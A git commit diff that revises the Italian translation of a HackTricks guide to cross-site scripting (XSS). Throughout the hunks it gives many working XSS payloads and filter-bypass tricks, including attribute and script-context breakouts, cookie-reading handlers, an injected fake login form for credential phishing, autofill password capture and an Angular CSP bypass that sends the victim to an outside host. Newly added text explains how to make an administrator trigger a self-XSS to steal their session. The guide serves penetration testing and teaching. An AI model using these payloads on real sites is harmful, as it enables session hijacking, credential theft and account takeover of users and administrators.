Translated ['pentesting-web/xss-cross-site-scripting/README.md'] to it

This commit is contained in:
Translator 2024-06-14 11:09:41 +00:00
parent 99d4bbcf87
commit 79271ebfec

View file

@ -23,17 +23,17 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ci
2. Puoi creare nuovi eventi/attributi per eseguire codice JS?
3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS?
4. Puoi eludere le protezioni?
3. All'interno del **codice JavaScript**:
1. Puoi eludere il tag `<script>`?
2. Puoi eludere la stringa ed eseguire diverso codice JS?
3. All'interno del codice **JavaScript**:
1. Puoi eseguire il tag `<script>`?
2. Puoi eseguire la stringa ed eseguire codice JS diverso?
3. I tuoi input sono all'interno di template letterali \`\`?
4. Puoi eludere le protezioni?
4. **Funzione** JavaScript in **esecuzione**
4. Funzione **JavaScript** in fase di **esecuzione**
1. Puoi indicare il nome della funzione da eseguire. es.: `?callback=alert(1)`
4. Se **utilizzato**:
1. Potresti sfruttare un **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato viene utilizzato da qualche sink**.
1. Potresti sfruttare un **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato è utilizzato da qualche sink**.
Quando lavori su un XSS complesso potrebbe interessarti sapere di più su:
Quando lavori su un XSS complesso potresti trovare interessante sapere di:
{% content-ref url="debugging-client-side-js.md" %}
[debugging-client-side-js.md](debugging-client-side-js.md)
@ -49,11 +49,11 @@ Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore
## Contesti
Quando cerchi di sfruttare un XSS la prima cosa da sapere è **dove viene riflessa la tua input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove viene riflessa la tua input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
### HTML Grezzo
Se la tua input è **riflessa nell'HTML grezzo** dovrai sfruttare alcuni **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti utilizzare.\
Se la tua input è **riflessa nell'HTML grezzo** dovrai sfruttare alcuni **tag HTML** per eseguire il codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti utilizzare.\
Inoltre, tieni presente [Iniezione di Template Lato Client](../client-side-template-injection-csti.md).
### All'interno dell'attributo dei tag HTML
@ -62,8 +62,8 @@ Se la tua input è riflessa all'interno del valore dell'attributo di un tag, pot
1. **Esci dall'attributo e dal tag** (quindi sarai nell'HTML grezzo) e crea un nuovo tag HTML da sfruttare: `"><img [...]`
2. Se **puoi uscire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
3. Se **non puoi uscire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** riflette il tuo valore e se **controlli tutto il valore o solo una parte** potrai sfruttarlo. Ad **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro esempio interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
4. Se la tua input è riflessa all'interno di "**tag non esplorabili**" potresti provare il trucco di **`accesskey`** per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarlo): **`" accesskey="x" onclick="alert(1)" x="`**
3. Se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), allora a seconda di **quale attributo** riflette il tuo valore e se **controlli tutto il valore o solo una parte** potrai sfruttarlo. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro **esempio** interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
4. Se la tua input è riflessa all'interno di "**tag non esplorabili**" potresti provare il trucco **`accesskey`** per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
```html
@ -76,12 +76,12 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
In questo caso, il tuo input viene riflessato tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
* Se viene riflessato tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` ed uscire da questo contesto. Questo funziona perché il **browser analizzerà prima i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
* Se viene riflessato **all'interno di una stringa JS** e il trucco precedente non funziona, dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
* Se viene riflessato **all'interno di una stringa JS** e il trucco precedente non funziona, dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se ci sono errori, non verranno eseguiti):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Se viene riflessato all'interno di template letterali, puoi **inserire espressioni JS** utilizzando la sintassi `${ ... }`: `` var greetings = `Ciao, ${alert(1)}` ``
* L'**encoding Unicode** funziona per scrivere **codice JavaScript valido**:
* **La codifica Unicode** funziona per scrivere **codice JavaScript valido**:
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -122,7 +122,7 @@ Puoi anche provare a **attivare le funzioni Javascript** direttamente: `obj.sale
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, **altre pagine nella stessa origine** avranno un **DOM più interessante** per eseguire più azioni.
Pertanto, per **sfruttare questa vulnerabilità in un diverso DOM** è stata sviluppata l'exploit **Same Origin Method Execution (SOME)**:
Pertanto, per **sfruttare questa vulnerabilità in un DOM diverso** è stata sviluppata l'exploit **Same Origin Method Execution (SOME)**:
{% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
@ -130,7 +130,7 @@ Pertanto, per **sfruttare questa vulnerabilità in un diverso DOM** è stata svi
### DOM
C'è del **codice JS** che sta utilizzando in modo **non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario.
C'è del **codice JS** che sta utilizzando in modo **non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire del codice JS arbitrario.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
@ -156,8 +156,8 @@ Alcuni **esempi**:
## Iniezione all'interno di HTML grezzo
Quando il tuo input viene riflesso **all'interno della pagina HTML** o puoi eseguire l'escape e iniettare codice HTML in questo contesto, la **prima** cosa da fare è controllare se puoi abusare di `<` per creare nuovi tag: Prova semplicemente a **riflettere** quel **carattere** e controlla se viene **codificato in HTML** o **eliminato** oppure se viene **riflesso senza modifiche**. **Solo in quest'ultimo caso sarai in grado di sfruttare questo caso**.\
Per questi casi tieni presente anche [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Nota: Un commento HTML può essere chiuso usando**** ****`-->`**** ****o**** ****`--!>`**_
Per questi casi, tieni presente anche [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Nota: Un commento HTML può essere chiuso utilizzando**** ****`-->`**** ****o**** ****`--!>`**_
In questo caso e se non viene utilizzata alcuna lista nera/lista bianca, potresti utilizzare payload come:
```html
@ -165,22 +165,22 @@ In questo caso e se non viene utilizzata alcuna lista nera/lista bianca, potrest
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Ma, se viene utilizzato il filtraggio dei tag/attributi black/whitelist, sarà necessario **forzare quali tag** è possibile creare.\
Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare gli attributi/eventi** all'interno dei tag validi trovati per capire come puoi attaccare il contesto.
Ma, se viene utilizzato il blacklisting/whitelisting dei tag/attributi, sarà necessario **forzare a tentativi quali tag** è possibile creare.\
Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare a tentativi attributi/eventi** all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.
### Forzatura dei tag/eventi
### Forzare a tentativi tag/eventi
Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia i tag negli appunti**_. Quindi, inviali tutti utilizzando Burp intruder e controlla se qualche tag non è stato rilevato come dannoso dal WAF. Una volta scoperti quali tag puoi utilizzare, puoi **forzare tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia gli eventi negli appunti**_ e segui la stessa procedura come prima).
Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia tag negli appunti**_. Quindi, invia tutti loro utilizzando Burp intruder e controlla se qualche tag non è stato rilevato come dannoso dal WAF. Una volta scoperti quali tag puoi utilizzare, puoi **forzare a tentativi tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia eventi negli appunti**_ e segui la stessa procedura come prima).
### Tag personalizzati
Se non hai trovato nessun tag HTML valido, potresti provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, è necessario terminare l'URL con `#` per fare sì che la pagina **si concentri su quell'oggetto** ed **esegua** il codice:
Se non hai trovato alcun tag HTML valido, potresti provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per fare sì che la pagina **si concentri su quell'oggetto** ed **esegua** il codice:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Bypass delle liste nere
Se viene utilizzata qualche tipo di lista nera, potresti provare a evitarla con alcuni trucchi sciocchi:
Se viene utilizzata una sorta di lista nera, potresti provare a evitarla con alcuni trucchi sciocchi:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -233,17 +233,13 @@ onerror=alert`1`
### Bypass della lunghezza (piccoli XSS)
{% hint style="info" %}
**Altri piccoli XSS per ambienti diversi** il payload **può essere trovato qui** e **qui**.
**Altri piccoli XSS per ambienti diversi** payload **possono essere trovati qui** e **qui**.
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
```
L'ultimo consiste nell'utilizzare 2 caratteri unicode che si espandono a 5: telsr\
Altri di questi caratteri possono essere trovati [qui](https://www.unicode.org/charts/normalization/).\
Per verificare in quali caratteri sono scomposti, controlla [qui](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
Se per sfruttare la vulnerabilità è necessario che **l'utente faccia clic su un link o un modulo** con dati precompilati, potresti provare a [**abusare del Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
@ -257,7 +253,7 @@ Se pensi semplicemente che **sia impossibile creare un tag HTML con un attributo
### All'interno del tag/fuga dal valore dell'attributo
Se ti trovi **all'interno di un tag HTML**, la prima cosa che potresti provare è **fuggire** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](./#injecting-inside-raw-html) per eseguire codice JS.\
Se **non puoi fuggire dal tag**, potresti creare nuovi attributi all'interno del tag per cercare di eseguire codice JS, ad esempio utilizzando un payload come (_nota che in questo esempio vengono utilizzate virgolette doppie per fuggire dall'attributo, non ne avrai bisogno se il tuo input viene riflessi direttamente all'interno del tag_):
Se **non puoi fuggire dal tag**, potresti creare nuovi attributi all'interno del tag per cercare di eseguire codice JS, ad esempio utilizzando un payload come (_nota che in questo esempio vengono utilizzate virgolette doppie per fuggire dall'attributo, non ne avrai bisogno se l'input è riflessa direttamente all'interno del tag_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -274,10 +270,10 @@ Se **non puoi fuggire dal tag**, potresti creare nuovi attributi all'interno del
```
### All'interno dell'attributo
Anche se **non puoi evadere dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflettuto, se **controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=`, sarai in grado di far eseguire del codice arbitrario quando viene cliccato.\
Anche se **non puoi evadere dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflettuto se **controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire del codice arbitrario quando viene cliccato.\
Un altro **esempio** interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire del codice arbitrario: **`href="javascript:alert(1)"`**
**Bypass all'interno dell'evento usando la codifica HTML/codifica URL**
**Bypass all'interno dell'evento utilizzando la codifica HTML/codifica URL**
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati in fase di esecuzione**. Pertanto, qualcosa del genere sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Torna Indietro </a>`
@ -431,7 +427,7 @@ Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): È po
### Blacklist Bypasses
Sono già state esposte diverse tecniche che utilizzano diverse codifiche all'interno di questa sezione. Torna indietro per imparare dove puoi utilizzare:
Sono stati già esposti diversi trucchi che utilizzano diverse codifiche all'interno di questa sezione. Torna indietro per imparare dove puoi utilizzare:
* **Codifica HTML (tag HTML)**
* **Codifica Unicode (può essere codice JS valido):** `\u0061lert(1)`
@ -445,11 +441,11 @@ Leggi i [Bypass della blacklist della sezione precedente](./#blacklist-bypasses)
**Bypass per codice JavaScript**
Leggi i [Bypass della blacklist JavaScript della sezione successiva](./#javascript-bypass-blacklists-techniques).
Leggi i [Bypass della blacklist di JavaScript della sezione successiva](./#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
Se trovi un **XSS in una parte molto piccola** del web che richiede un tipo di interazione (forse un piccolo link nel piè di pagina con un elemento onmouseover), puoi provare a **modificare lo spazio che l'elemento occupa** per massimizzare le probabilità di far scattare il link.
Se trovi un **XSS in una parte molto piccola** del web che richiede un certo tipo di interazione (forse un piccolo link nel piè di pagina con un elemento onmouseover), puoi provare a **modificare lo spazio che l'elemento occupa** per massimizzare le probabilità che il link venga attivato.
Ad esempio, potresti aggiungere dello stile all'elemento come: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -477,7 +473,7 @@ Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati ri
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché il **parsing HTML viene eseguito prima dal browser**, il quale identifica gli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene eseguito solo successivamente.
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché il **parsing HTML viene eseguito prima dal browser**, il quale si occupa di identificare gli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene eseguito solo successivamente.
### All'interno del codice JS
@ -487,12 +483,12 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
';alert(document.domain)//
\';alert(document.domain)//
```
### Stringhe di modello \`\`
### Template literals \`\`
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche **backticks** **` `` `**. Questo è noto come stringhe di modello poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
Ciò può essere **abusato** utilizzando:
Questo può essere **abusato** utilizzando:
```javascript
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
@ -554,7 +550,7 @@ eval(8680439..toString(30))(983801..toString(36))
<TAB>
/**/
```
**Commenti JavaScript (dalla** [**trucco sui Commenti JavaScript**](./#javascript-comments)**)**
**Commenti JavaScript (dalla** [**trucco sui Commenti JavaScript**](./#javascript-comments) **)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -562,7 +558,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**Nuove righe JavaScript (dalla** [**trucco delle nuove righe JavaScript**](./#javascript-new-lines)**)**
**Nuove righe JavaScript (dal** [**trucco delle nuove righe JavaScript**](./#javascript-new-lines) **)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -732,25 +728,47 @@ top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
````
## **Vulnerabilità del DOM**
## Vulnerabilità del DOM
C'è del **codice JS** che utilizza **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare ciò per eseguire del codice JS arbitrario.\
C'è del **codice JS** che sta utilizzando **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire del codice JS arbitrario.\
**A causa dell'estensione della spiegazione delle** [**vulnerabilità del DOM è stata spostata su questa pagina**](dom-xss.md)**:**
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
Lì troverai una **spiegazione dettagliata su cosa sono le vulnerabilità del DOM, come vengono provocate e come sfruttarle**.\
Lì troverai una **spiegazione dettagliata di cosa sono le vulnerabilità del DOM, come vengono provocate e come sfruttarle**.\
Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione su [**attacchi di DOM Clobbering**](dom-xss.md#dom-clobbering).
### Aggiornamento di Self-XSS
### XSS dei Cookie
Se puoi innescare un XSS inviando il payload all'interno di un cookie, questo è di solito un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile all'XSS**, potresti sfruttare questo XSS per iniettare un cookie nell'intero dominio riuscendo a innescare l'XSS del cookie nel dominio principale o in altri sottodomini (quelli vulnerabili all'XSS dei cookie). Per questo puoi utilizzare l'attacco del cookie tossing:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
{% endcontent-ref %}
Puoi trovare un ottimo abuso di questa tecnica in [**questo post del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
### Inviare la tua sessione all'amministratore
Forse un utente può condividere il suo profilo con l'amministratore e se il self XSS è presente nel profilo dell'utente e l'amministratore vi accede, attiverà la vulnerabilità.
### Riflessione della Sessione
Se trovi qualche self XSS e la pagina web ha una **riflessione della sessione per gli amministratori**, ad esempio permettendo ai clienti di chiedere aiuto e affinché l'amministratore ti aiuti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
Potresti far **attivare il tuo self XSS all'amministratore** e rubare i suoi cookie/sessione.
## Altri Bypass
### Unicode Normalizzato
Potresti verificare se i **valori riflessi** vengono **normalizzati in Unicode** sul server (o sul lato client) e sfruttare questa funzionalità per eludere le protezioni. [**Trova un esempio qui**](../unicode-injection/#xss-cross-site-scripting).
Potresti verificare se i **valori riflessi** vengono **normalizzati in unicode** sul server (o sul lato client) e sfruttare questa funzionalità per aggirare le protezioni. [**Trova un esempio qui**](../unicode-injection/#xss-cross-site-scripting).
### Bypass del flag PHP FILTER\_VALIDATE\_EMAIL
### Bypass della flag PHP FILTER\_VALIDATE\_EMAIL
```javascript
"><svg/onload=confirm(1)>"@x.y
```
@ -799,7 +817,7 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS con iniezione di header in una risposta 302
Se trovi che puoi **iniettare header in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **triviale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi solo un payload di scripting tra siti è inutile.
Se trovi che puoi **iniettare header in una risposta di reindirizzamento 302** potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **triviale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi solo un payload di cross-site scripting è inutile.
In [**questo rapporto**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'header Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
Protocolli noti: `mailto://`, `//x:1/`, `ws://`, `wss://`, _header Location vuoto_, `resource://`.
@ -845,7 +863,7 @@ const char* const kSupportedJavascriptTypes[] = {
La risposta è:
* **modulo** (predefinito, niente da spiegare)
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che ti permette di raggruppare una serie di dati (HTML, CSS, JS...) in un unico file **`.wbn`**.
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che ti permette di raggruppare una serie di dati (HTML, CSS, JS...) in un file **`.wbn`**.
```html
<script type="webbundle">
{
@ -892,7 +910,7 @@ Questo comportamento è stato utilizzato in [**questo articolo**](https://github
```
### Tipi di contenuto Web per XSS
(From [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:
(Tratto da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:
* text/html
* application/xhtml+xml
@ -917,9 +935,9 @@ Se la pagina restituisce un tipo di contenuto text/xml, è possibile indicare un
```
### Modelli di Sostituzione Speciali
Quando viene utilizzato qualcosa del tipo **`"alcuni dati {{template}}".replace("{{template}}", <input_utente>)`**. L'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) per cercare di aggirare alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Quando viene utilizzato qualcosa del tipo **`"alcuni dati {{template}}".replace("{{template}}", <input_utente>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) per cercare di aggirare alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Ad esempio in [**questo articolo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **eludere una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
Ad esempio, in [**questo articolo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **eludere una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
### Cache di Chrome per XSS
@ -960,7 +978,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Se **tutto è non definito** prima di eseguire codice non attendibile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice non attendibile:
Se **tutto è non definito** prima di eseguire codice non attendibile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice non attendibile arbitrario:
* Utilizzando import()
```javascript
@ -1065,7 +1083,7 @@ trigger()
### Trappola Iframe
Fai in modo che l'utente navighi nella pagina senza uscire da un iframe e ruba le sue azioni (incluso l'invio di informazioni nei moduli):
Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azioni (incluso l'invio di informazioni nei moduli):
{% content-ref url="../iframe-traps.md" %}
[iframe-traps.md](../iframe-traps.md)
@ -1183,7 +1201,7 @@ Consulta l'elenco delle porte vietate in Chrome [**qui**](https://src.chromium.o
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Cattura automatica delle password di auto-compilazione
### Cattura automatica delle password
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1286,7 +1304,7 @@ Puoi anche utilizzare: [https://xsshunter.com/](https://xsshunter.com)
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
### Regex - Accesso al Contenuto Nascosto
### Regex - Accesso a Contenuti Nascosti
Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è comunque possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
```javascript
@ -1329,7 +1347,7 @@ Maggiori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-inje
### XSS in PDF creati dinamicamente
Se una pagina web crea un PDF utilizzando input controllati dall'utente, puoi provare a **ingannare il bot** che sta creando il PDF per **eseguire codice JS arbitrario**.\
Quindi, se il **bot creatore di PDF trova** dei **tag HTML**, li **interpreterà**, e puoi **abusare** di questo comportamento per causare un **Server XSS**.
Quindi, se il **bot creatore del PDF trova** dei **tag HTML**, li **interpreterà**, e puoi **abusare** di questo comportamento per causare un **Server XSS**.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -1431,11 +1449,11 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**